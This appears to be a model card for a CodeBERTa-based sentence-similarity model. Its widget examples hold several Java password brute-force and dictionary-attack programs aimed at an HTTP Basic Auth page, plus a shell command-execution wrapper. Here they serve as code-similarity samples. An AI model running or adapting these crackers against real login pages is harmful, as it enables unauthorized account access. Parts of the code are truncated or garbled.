--- tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:30069 - loss:SoftmaxLoss base_model: huggingface/CodeBERTa-small-v1 widget: - source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\ import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\ \ {\n \n \n \n public static String Base64Encode(String s) {\n \ \ byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table\ \ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\ \ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\ \ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\ \ % 3!=0) {\n int x1 = bb.length;\n \n b = new\ \ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \ \ for(int i=0;i> 2)];\n c[j+1] = table[(b[i+1] >>\ \ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\ \ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \ \ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\ \ while (c[j]=='A') {\n c[j]='=';\n j--;\n \ \ }\n \n return String.valueOf(c);\n }\n \n \n public\ \ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \ \ for (int i=0;i=0);\n\ \ }\n \n \n \n public synchronized void waitUntilAllTerminated()\ \ {\n while (curconn>0) {\n try {\n wait();\n\ \ } catch (InterruptedException e) {}\n }\n }\n \n \ \ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\ \ interruptd= false;\n int idx = -1;\n \n \n \n \ \ \n while (curconn>=MAXCONN) {\n try {\n \ \ wait();\n } catch (InterruptedException e) { interruptd = true;\ \ }\n }\n \n \n \n if (!interruptd) {\n \ \ \n curconn++;\n for (idx=0;idx=0) {\n if (idx>=idxLimit[i]) {\n \ \ int nchar = i + 1;\n idx-=idxLimit[i];\n \ \ for (int j=0;jALLCOMBI - idxstart)\ \ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart)\ \ / MAXTHREAD;\n \n \n \n for (thcount=0;thcount=0) {\n System.out.println();\n\ \ System.out.println(\" ********************* [ URL SUCCESSFULLY\ \ CRACKED !! ] *********************\");\n System.out.println();\n\ \ System.out.println(\" The password is : \"+passw);\n \ \ System.out.println(\" Number of attempts : \"+attempt+\" of \"\ +ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\ \ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\ \ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ \ \" attempts/sec\");\n System.out.println(\" Cracking time \ \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ \ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\ \ \" seconds\");\n System.out.println();\n System.out.println(\"\ \ ***************************************************************************\"\ );\n System.out.println();\n } else {\n \ \ System.out.println();\n System.out.println(\" *********************\ \ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\ \ System.out.println(\" Number of attempts : \"+attempt+\" of\ \ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\ \ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\ %\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\ \ \" attempts/sec\");\n System.out.println(\" Cracking time \ \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \ \ System.out.println();\n System.out.println(\" ***************************************************************************\"\ );\n System.out.println();\n }\n }\n }\n \ \ \n \n public static void printSyntax() {\n System.out.println();\n\ \ System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\ \ [username]\");\n System.out.println();\n System.out.println(\"\ \ mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\"\ \ (trying from the first the last combinations)\");\n\ \ System.out.println(\" 1 - ENHANCED Brute force mode\"\ );\n System.out.println(\" (dividing cracking jobs\ \ multiple threads) (default)\");\n System.out.println(\" URL :\ \ (opt) the URL crack \");\n System.out.println(\" \ \ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\"\ \ charset : (optional) the character set used crack.\");\n System.out.println(\"\ \ - (default)\");\n System.out.println(\" \ \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\"\ \ -alphanum \");\n System.out.println(\" \ \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n \ \ System.out.println(\" -alphalow \");\n System.out.println(\"\ \ abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\"\ \ -alphaup \");\n System.out.println(\" \ \ ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" \ \ -number \");\n System.out.println(\" 1234567890\"\ );\n System.out.println(\" [custom] e.g. aAbB123\");\n \ \ System.out.println(\" , : (optional) range of characters applied in\ \ the cracking\");\n System.out.println(\" where\ \ 1 <= <= 10 (default = 1)\");\n System.out.println(\" \ \ <= <= 10 (default = 3)\");\n System.out.println(\"\ \ username : (optional) the username that is used crack\");\n System.out.println();\n\ \ System.out.println(\" NOTE: The optional parameters 'charset','','',\ \ and 'username'\");\n System.out.println(\" have specified altogether\ \ none at all.\");\n System.out.println(\" For example, if [charset]\ \ is specified, then [], [], and\");\n System.out.println(\" [username]\ \ have specified as well. If none of them specified,\");\n System.out.println(\"\ \ default values used.\");\n System.out.println();\n System.out.println(\"\ \ Example of invocation :\");\n System.out.println(\" java BruteForce\ \ \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\"\ \ java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\"\ \ java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\"\ \ java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n \ \ System.out.println();\n System.out.println();\n }\n \n \n\ \ \n \n \n \n \n \n public static void countIdxLimit() {\n\ \ idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n\ \ ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if\ \ (i==0) {\n idxLimit[i] = 0;\n } else {\n \ \ idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n \ \ }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \ \ \n \n public static void paramCheck(String[] args) {\n int argc\ \ = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue())\ \ {\n case 0: {\n isenhanced = false;\n \ \ } break;\n case 1: {\n isenhanced\ \ = true;\n } break;\n default:\n \ \ System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\ \ printSyntax();\n System.exit(1);\n \ \ }\n } catch (NumberFormatException e) {\n System.out.println(\"\ Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n \n if (argc>1) {\n \ \ try {\n \n URL u = new URL(args[1]);\n\ \ \n \n try {\n \ \ HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \ \ \n switch (conn.getResponseCode()) {\n \ \ case HttpURLConnection.HTTP_ACCEPTED:\n \ \ case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\ \ case HttpURLConnection.HTTP_FORBIDDEN:\n \ \ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \ \ break;\n default:\n \ \ \n \n System.out.println(\"\ Unable open connection the URL '\"+args[1]+\"'\");\n \ \ System.exit(1);\n }\n } catch (IOException\ \ e) {\n System.out.println(e);\n System.exit(1);\n\ \ }\n \n THEURL = args[1];\n \ \ } catch (MalformedURLException e) {\n \n \ \ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n }\n \n \ \ \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n\ \ } catch (NumberFormatException e) {\n System.out.println(\"\ Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n \n try\ \ {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n \ \ } catch (NumberFormatException e) {\n System.out.println(\"\ Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n\ \ System.exit(1);\n }\n \n if\ \ ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid\ \ range number value '\"+args[3]+\"' (must between 0 and 10)\");\n \ \ printSyntax();\n System.exit(1);\n } else\n \ \ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\ Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n\ \ printSyntax();\n System.exit(1);\n \ \ }\n \n if (MAXCHAR>10) {\n \ \ System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between\ \ value and 10)\");\n printSyntax();\n System.exit(1);\n\ \ }\n \n if (args[2].toLowerCase().equals(\"\ -\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ ;\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\"\ )) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\ ;\n } else\n if (args[2].toLowerCase().equals(\"\ -alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\"\ ;\n } else\n if (args[2].toLowerCase().equals(\"\ -alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ ;\n } else\n if (args[2].toLowerCase().equals(\"\ -number\")) {\n charset = \"1234567890\";\n \ \ } else {\n charset =\ \ args[2];\n }\n \n USERNAME\ \ = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n \ \ System.out.println(\"Please specify the [charset], [], [], and [username]\ \ altogether none at all\");\n printSyntax();\n \ \ System.exit(1);\n } else\n if ((argc>2) && (argc>6))\ \ {\n System.out.println(\"The number of parameters expected\ \ is not more than 6. \");\n System.out.println(\" have specified\ \ more than 6 parameters.\");\n printSyntax();\n \ \ System.exit(1);\n }\n }\n \n public static\ \ void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ ;\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if\ \ (args.length==0) {\n args = new String[6];\n args[0]\ \ = String.valueOf(1); \n args[1] = THEURL;\n args[2] =\ \ \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4]\ \ = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \ \ \n \n paramCheck(args);\n \n countIdxLimit();\n\ \ \n \n Application = new BruteForce();\n }\n \n \ \ public static BruteForce Application;\n public static String THEURL =\ \ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean\ \ isenhanced; \n public static String passw = \"\"; \n \n public\ \ static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD\ \ = 50; \n public static int MAXCONN = 50; \n public\ \ static int\t curconn = 0; \n public static int success\ \ = -1; \n \n public static String USERNAME = \"\"; \n public\ \ static int MINCHAR; \n public static int MAXCHAR;\ \ \n public static int ALLCOMBI; \n \n \ \ public static int start ,end; \n \n \n public static\ \ java.util.Timer reportTimer; \n public static HttpURLConnection connections[]\ \ = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[]\ \ = new boolean[MAXCONN]; \n public ThCrack[] threads \ \ = new ThCrack[MAXTHREAD]; \n public static int \ \ attempt = 0; \n public static int idxLimit; \n public\ \ static String charset; \n public static int NCHAR; \n}\n" sentences: - "\n\npublic class Execute {\n public Execute(String cmdline) {\n try {\n\ \ \n String[] cmd = {\"//sh\", \"-c\", cmdline};\n Process\ \ p = Runtime.getRuntime().exec(cmd);\n \n p.waitFor();\n \ \ } catch (Exception e){}\n }\n}\n\n" - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\ import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n \ \ private String url;\n private URL currURL;\n private\ \ URLConnection conn;\n private HoldSharedData sharedData;\n private int\ \ noOfThread;\n private int batch;\n\n public ConnectionThread(\ \ String pageURL, int wThread,\n int newBatch, HoldSharedData\ \ data )\n {\n super();\n url = pageURL;\n noOfThread\ \ = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n\ \ \n public void run()\n {\n try\n {\n currURL\ \ = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread\ \ + 1)*batch) &&\n (i < sharedData.getPwdCount());\ \ i ++ )\n {\n String pwd = sharedData.getPasswordAt(\ \ i );\n\n conn = currURL.openConnection();\n\n \ \ if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection\ \ hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n\ \ String cad = \" \" + based64Encoder( \":\" + pwd );\n \ \ hconn.setRequestProperty( \"Authorization\", cad );\n\n \ \ hconn.connect();\n\t int response = hconn.getResponseCode();\n\ \ sharedData.setNumOfConnections();\n\n \ \ if( response == 200 )\n {\n totalTime\ \ = System.currentTimeMillis() -\n sharedData.getStartTime();\n\ \ int numOfConnections = sharedData.getNumOfConnections();\n\ \n System.out.println( \"Password is \" + pwd );\n \ \ System.out.println( \"Total Time(seconds)=\" +\n \ \ (double)totalTime/1000 );\n \ \ System.out.println( \"Number Of Connections: \" +\n \ \ numOfConnections );\n \ \ System.exit(0);\n }\n else\n \ \ {\n hconn.disconnect();\n \ \ }\n }\n }\n }\n catch( MalformedURLException\ \ mue )\n {\n String msg = \"Unable parse URL: \" + url;\n\ \ System.err.println( msg );\n }\n catch( IOException\ \ ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n\ \ }\n }\n\n private String based64Encoder( String pwd )\n {\n\ \ \n String str = pwd;\n byte[] buf = str.getBytes();\n \ \ String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n \ \ return encodedStr;\n }\n} " - "import java.io.*;\nimport java.net.*;\n\npublic class Dictionary{\n\n public\ \ static void main( String[] args ){\n Dictionary dict= new Dictionary();\n dict.create();\n\ \ }\n\npublic void dsf(){\n String password;\n String auth_data;\n String\ \ username=\"\";\n String server_res_code;\n String required_server_res_code=\"\ 200\";\n int cntr=0;\n try{\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ );\n URLConnection conn=null;\n String fileName = \"/usr/share/lib/dict/words\"\ ;\n fileName=fileName.trim();\n FileReader fr = new FileReader(fileName);\n\ \ BufferedReader inputfile = new BufferedReader(fr);\n\n while( (password=inputfile.readLine())\ \ != null ){\n\n password = password.trim();\n \n \ \ auth_data=null;\n auth_data=username + \":\" + password;\n \ \ auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n\ \ auth_data=auth_data.trim();\n conn=url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setDoOutput(true);\n \ \ conn.setRequestProperty(\"GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty\ \ (\"Authorization\", auth_data);\n server_res_code=conn.getHeaderField(0);\n\ \ server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n\ \ cntr++;\n if( server_res_code.compareTo(required_server_res_code)!=0)\n\ \ System.out.println(cntr + \" . \" + \"PASSWORD SEND : \" + password\ \ + \" SERVER RESPONSE : \" + server_res_code);\n else {\n \ \ System.out.println(cntr + \" . \" + \"PASSWORD IS: \" + password + \" SERVER\ \ RESPONSE : \" + server_res_code);\n break;}\n\n }\n\n}\n\ \ncatch( Exception e){\n System.err.println(e);\n }\n}\n\npublic String\ \ getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \ \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N',\ \ 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a',\ \ 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \ \ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1',\ \ '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString\ \ = \"\";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int\ \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n\ \ b3 = 0;\n pad = 2;\n }\n else {\n b2 =\ \ bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n \ \ pad = 1;\n }\n else\n b3 = bytes [i++];\n\ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n\ \ encodedString += base64Array [c3];\n encodedString += base64Array\ \ [c4];\n break;\n case 1:\n encodedString += base64Array\ \ [c3];\n encodedString += \"=\";\n break;\n case 2:\n \ \ encodedString += \"==\";\n break;\n }\n }\n return\ \ \" \" + encodedString;\n }\n\n}" - source_sentence: "import java.net.*;\nimport java.util.*;\nimport java.io.*;\n\n\ \n\n\npublic class BruteForce {\n URL url;\n URLConnection uc;\n String username,\ \ password, encoding;\n int pretime, posttime;\n String c ;\n\n public BruteForce(){\n\ \ pretime = new Date().getTime();\n try{\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n }catch(MalformedURLException e){\n e.printStackTrace();\n }\n\ \ username = \"\";\n }\n\n public void checkPassword(char[] pw){\n try{\n\ \ password = new String(pw);\n encoding = new pw.misc.BASE64Encoder().encode((username+\"\ :\"+password).getBytes());\n uc = url.openConnection();\n uc.setRequestProperty(\"\ Authorization\", \" \" + encoding);\n bf = uc.getHeaderField(null);\n \ \ System.out.println(password);\n if(bf.equals(\"HTTP/1.1 200 OK\")){\n\ \ posttime = new Date().getTime();\n diff = posttime - pretime;\n\ \ System.out.println(username+\":\"+password);\n System.out.println();\n\ \ System.out.println(diff/1000/60 + \" minutes \" + diff/1000%60 + \" seconds\"\ );\n System.exit(0);\n }\n }catch(MalformedURLException e){\n \ \ e.printStackTrace();\n }catch(IOException ioe){\n ioe.printStackTrace();\n\ \ }\n }\n\n public static void main (String[] args){\n BruteForce bf =\ \ new BruteForce();\n char i, j, k;\n\n \n for(i='a'; i<='z'; i++){\n\ \ for(j='a'; j<='z'; j++){ \n for(k='a'; k<='z'; k++){\n \ \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n }\n\ \ }\n\n \n for(i='A'; i<='Z'; i++){\n for(j='A'; j<='Z'; j++){ \ \ \n for(k='A'; k<='Z'; k++){\n char[] pw = {i, j, k};\n \ \ bf.checkPassword(pw);\n }\n }\n }\n\n \n for(i='A';\ \ i<='Z'; i++){\n for(j='a'; j<='z'; j++){ \n for(k='a'; k<='z';\ \ k++){\n char[] pw = {i, j, k};\n bf.checkPassword(pw);\n \ \ }\n }\n }\n\n for(i='A'; i<='z'; i++){ \n if((i=='[')\ \ || (i=='\\\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n continue;\n\ \ }\n for(j='A'; j<='Z'; j++){ \n for(k='a'; k<='z'; k++){\n\ \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n\ \ }\n } \n\n for(i='A'; i<='z'; i++){ \n if((i=='[') || (i=='\\\ \\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n continue;\n \ \ }\n for(j='a'; j<='z'; j++){ \n for(k='A'; k<='Z'; k++){\n \ \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n\ \ }\n } \n \n for(i='a'; i<='z'; i++){\n for(j='A'; j<='Z';\ \ j++){ \n for(k='A'; k<='Z'; k++){\n char[] pw = {i, j, k};\n\ \ bf.checkPassword(pw);\n }\n }\n }\n \n \n for(i='A';\ \ i<='z'; i++){ \n if((i=='[') || (i=='\\\\') || (i==']') || (i=='^') ||\ \ (i=='_') || (i=='`')){\n continue;\n }\n for(j='A'; j<='z';\ \ j++){ \n if((j=='[') || (j=='\\\\') || (j==']') || (j=='^') || (j=='_')\ \ || (j=='`')){\n continue;\n }\n char[] pw = {i, j};\n\ \ bf.checkPassword(pw);\n }\n } \n \n \n for(i='A';\ \ i<='z'; i++){ \n if((i=='[') || (i=='\\\\') || (i==']') || (i=='^')\ \ || (i=='_') || (i=='`')){\n continue;\n }\n char[] pw = {i};\n\ \ bf.checkPassword(pw);\n }\n }\n}\n \n" sentences: - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\ {\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1\ \ = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n \ \ {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\ \ http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException\ \ e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new\ \ Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n" - "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\npublic class BruteForce\n\ {\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ;\n private static String password;\n private static int length; \ \ \n private static int t_counter; \n private static int f_counter;\ \ \n \n private static int cases;\ \ \n \n private static int respCode;\ \ \n\n public BruteForce()\n {\n Authenticator.setDefault(new\ \ BruteForceAuthenticator());\n t_counter = 0;\n f_counter = 0;\n \ \ cases = 0;\n }\n\n public static void main (String[] args)\n {\n \ \ BruteForce bf = new BruteForce();\n String file = \" \";\n while(respCode\ \ != 200)\n {\n file = bf.fetchURL();\n }\n System.out.println(\"\ Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\ \ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\ \ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\ \ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\ \ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \ \ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\ \ BufferedReader in = \n new BufferedReader (new InputStreamReader\ \ (content));\n String line;\n while ((line = in.readLine()) !=\ \ null) \n {\n pw.println(line);\n }\n } catch\ \ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\ \ sw.toString();\n }\n \n class BruteForceAuthenticator extends\ \ Authenticator \n {\n private String username = \"\";\n\n protected\ \ PasswordAuthentication getPasswordAuthentication()\n {\n return\ \ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\ \ char[] generatePassword()\n {\n int i,j,k;\n int n = 26;\n\ \ String letters1 = \"qwertyuiopasdfghjklzxcvbnm\";\n String letters2\ \ = \"abcdefghijklmnopqrstuvwxyz\";\n \n i=0;\n j=0;\n \ \ k=0;\n \n \n \n if(t_counter == 0)\n {\n\ \ length = 1;\n cases = 0;\n f_counter = 0;\n\ \ }\n if(t_counter == 2*n)\n {\n length = 2;\n\ \ cases = 0;\n f_counter = 0;\n }\n if(t_counter\ \ == (2*n + 4*n*n))\n {\n length = 3;\n cases =\ \ 0;\n f_counter = 0;\n }\n\n char c[] = new char[length];\n\ \n \n \n if(length == 1)\n {\n if(f_counter\ \ == n)\n {\n cases++;\n f_counter = 0;\n\ \ }\n i = f_counter;\n\n } else if(length == 2)\ \ \n {\n if(f_counter == n*n)\n {\n \ \ cases++;\n f_counter = 0;\n }\n i = f_counter/n;\n\ \ j = f_counter - i*n;\n\n } else if(length == 3) \n \ \ {\n if(f_counter == n*n*n)\n {\n cases++;\n\ \ f_counter = 0;\n }\n i = f_counter/(n*n);\n\ \ j = (f_counter - i*n*n)/n;\n k = f_counter - i*n*n - j*n;\n\ \ }\n\n \n switch(cases)\n {\n case\ \ 0:\n c[0] = letters1.charAt(i);\n if(length > 1)\ \ c[1] = letters1.charAt(j);\n if(length > 2) c[2] = letters1.charAt(k);\n\ \ break;\n case 1:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ \ if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));\n\ \ if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));\n\ \ break;\n case 2:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ \ c[1] = letters1.charAt(j);\n if(length > 2) c[2]\ \ = letters1.charAt(k);\n break;\n case 3:\n \ \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ \ if(length > 2) c[2] = letters1.charAt(k);\n break;\n\ \ case 4:\n c[0] = letters1.charAt(i);\n \ \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ \ break;\n case 5:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ \ c[1] = Character.toUpperCase(letters1.charAt(j));\n \ \ c[2] = letters1.charAt(k);\n break;\n case 6:\n\ \ c[0] = letters1.charAt(i);\n c[1] = Character.toUpperCase(letters1.charAt(j));\n\ \ c[2] = Character.toUpperCase(letters1.charAt(k));\n \ \ break;\n case 7:\n c[0] = Character.toUpperCase(letters1.charAt(i));\n\ \ c[1] = letters1.charAt(j);\n c[2] = Character.toUpperCase(letters1.charAt(k));\n\ \ break;\n default:\n break;\n \ \ }\n\n f_counter++;\n t_counter++;\n\n password = new\ \ String(c);\n return c;\n }\n }\n}\n" - "\n\nimport java.io.*;\nimport java.*;\nimport java.util.StringTokenizer;\n\n\ public class Dictionary\n{\n public static void main(String args[])\n {\n\ \ final String DICT_FILE = \"/usr/share/lib/dict/words\"; \n String\ \ basic_url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"; \n String password;\n\ \ String s = null;\n int num_tries = 0;\n \n try\n {\n\ \ \n BufferedReader dict_word = new BufferedReader\n \ \ (new FileReader (DICT_FILE));\n \n \n \ \ while((password = dict_word.readLine())!= null)\n { \n \ \ try \n {\n \n Process p = Runtime.getRuntime().exec(\"\ wget --http-user= --http-passwd=\" + password + \" \" + basic_url);\n \ \ \n BufferedReader stdInput = new BufferedReader(new \n \ \ InputStreamReader(p.getInputStream()));\n\n \ \ BufferedReader stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\ \n \n while ((s = stdInput.readLine()) != null)\n\ \ {\n System.out.println(s);\n }\n\ \ \n \n while ((s = stdError.readLine())\ \ != null)\n {\n System.out.println(s);\n \ \ }\n\n try\n\t {\n p.waitFor();\ \ \n }\n catch (InterruptedException g) \n \ \ {\n } \n\n num_tries++;\n \ \ \n if((p.exitValue()) == 0) \n { \n \ \ System.out.println(\"**********PASSWORD IS: \" + password);\n\ \t System.out.println(\"**********NUMBER OF TRIES: \" + num_tries);\n\ \ System.exit(1);\n }\n }\n \ \ catch (IOException e)\n {\n System.out.println(\"\ exception happened - here's what I know: \");\n e.printStackTrace();\n\ \ System.exit(-1);\n }\n }\n \n \ \ System.out.println(\"DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD\");\n \ \ System.out.println(\"**********Sorry, password was not found in dictionary\ \ file\");\n System.exit(1);\n\n }\n catch (FileNotFoundException\ \ exception)\n {\n System.out.println(exception);\n }\n \ \ catch (IOException exception)\n {\n System.out.println(exception);\n\ \ }\n }\n}\n \n" - source_sentence: "\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic\ \ class Dictionary\n{\n public static void main (String args[]) throws IOException,\n\ \ MalformedURLException\n {\n final String username = \"\";\n final\ \ String fullurl = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n final String\ \ dictfile = \"/usr/share/lib/dict/words\";\n String temppass;\n String\ \ password = \"\";\n URL url = new URL(fullurl);\n boolean cracked =\ \ false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader\ \ r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass =\ \ r.readLine()) != null && !cracked)\n { \n \n if(temppass.length()\ \ <= 3)\n {\n \n if(isAlpha(temppass))\n \ \ {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n\ \ try{\n BufferedReader x = new BufferedReader(new\ \ InputStreamReader(\n url.openStream()));\n \ \ cracked = true;\n password = temppass;\n \ \ } catch(Exception e){}\n }\n }\n }\n\n stopTime\ \ = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println(\"\ Sorry, couldnt find the password\");\n else\n System.out.println(\"\ Password found: \"+password);\n System.out.println(\"Time taken: \"+(stopTime-startTime));\n\ \ }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n\ \ for(int i=0; i>= 6;\n out[index+2]\ \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ \ for( int ix=0; ix 255)\ \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ \ 